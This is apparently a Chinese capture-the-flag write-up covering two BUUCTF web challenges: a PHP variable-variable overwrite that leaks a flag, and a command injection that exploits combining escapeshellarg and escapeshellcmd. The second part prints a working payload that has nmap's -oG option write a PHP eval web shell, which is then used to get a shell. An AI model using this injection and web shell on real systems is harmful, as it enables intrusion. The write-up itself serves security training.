[BJDCTF2020]Mark loves cat

git泄露,gitHack下载源码就可以了,由于buu平台限制,多下载就可以了

  1. <?php
  2. include 'flag.php';
  3. $yds = "dog";
  4. $is = "cat";
  5. $handsome = 'yds';
  6. foreach($_POST as $x => $y){
  7. $$x = $y;
  8. }
  9. foreach($_GET as $x => $y){
  10. $$x = $$y;
  11. }
  12. foreach($_GET as $x => $y){
  13. if($_GET['flag'] === $x && $x !== 'flag'){
  14. exit($handsome);
  15. }
  16. }
  17. if(!isset($_GET['flag']) && !isset($_POST['flag'])){
  18. exit($yds);
  19. }
  20. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
  21. exit($is);
  22. }
  23. echo "the flag is: ".$flag;

flag.php

<?php

$flag = file_get_contents('/flag');

先看看POST传参

foreach($_POST as $x => $y){
    $$x = $y;
}

参数是flag的话,是改变了flag的值;值是flag的话,只会给前面变量赋值为flag,而不是赋值为$flag,post这条路行不通
GET类型:
根据index.php,我们可以满足三个if语句,到最后输出flag,但显而那不可能,所以我们可以利用if语句里的exit()输出

foreach($_GET as $x => $y){
    $$x = $$y;
}
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

需要我们get传参flag,要满足if语句flag!=’flag’,可以用flag=handsome,但是$flag=$handsome,改变了flag的值,这条路走不通

foreach($_GET as $x => $y){
    $$x = $$y;
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

可以用yds=flag
$x=yds,$y=flag,$$x=$yds=$$y=$flag,然后exit($flag);,这个可以

foreach($_GET as $x => $y){
    $$x = $$y;
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

post行不通,只能get。让is=flag,$x=is,$y=flag,$$x=$is=$$y=$flag,重新赋值给了$is,再满足if语句就可以输出$is

?is=flag&flag=flag

应该就这两种方法。

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

[大师傅总结的](https://noahtie.github.io/2021/04/27/escapeshell&escapecmd%E6%BC%8F%E6%B4%9E/)
截取一部分
escapeshellarg()escapecmd()是php预置的用于防范命令注入攻击的函数,官方文档中给出的用法如下:


escapeshellcmd

(PHP 4, PHP 5, PHP 7, PHP 8) escapeshellcmd — shell 元字符转义

说明

escapeshellcmd ( string $command ) : string escapeshellcmd() 对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$\,\x0A\xFF仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及%!` 字符都会被空格代替。

参数

command: 要转义的命令。

返回值

转义后的字符串。


escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8) escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

说明

escapeshellarg ( string $arg ) : string escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

参数

arg: 需要被转码的参数。

返回值

转换之后字符串。


示例

8.8刷题 - 图1

  • escapeshellarg()将字符串以特殊符号为分割进行拆分,并在拆分后的字符串首尾加上单引号,在单独的符号前加上了反斜线。
    通过另外一例可以更明显地看出来这一点:

    php > echo escapeshellarg("Hanshu said:'i'm god!'");
    'Hanshu said:'\''i'\''m god!'\'''
    


    经过这一步处理之后的字符串可以在终端中“安全”地输出:
    8.8刷题 - 图2

  • escapeshellcmd()为字符串中的特殊符号前添加反斜线。

漏洞演示代码

<?php
    $payload = "127.0.0.1' -o 1.php";
    $cmd = escapeshellcmd(escapeshellarg($payload));
    echo $cmd;
    system("curl " . $cmd);
?>
第一步变化 '127.0.0.1'\'' -o 1.php'
第二部变化 '127.0.0.1'\\'' -0 1.php\'  //忽略成对的单引号

8.8刷题 - 图3
在vc上没成功,盗图大师傅的
终保存的文件名将会是1.php',而并非我们期望的1.php。在许多指令中,只需要在1.php'之间添加一个空格即可。这时,引号将被当作单独的参数使用。

了解一下步入今天的正题:
题里也是连用了那俩函数

$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

再利用nmap输出到文件的命令行参数-oG,构造payload

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

蚁剑getshell即可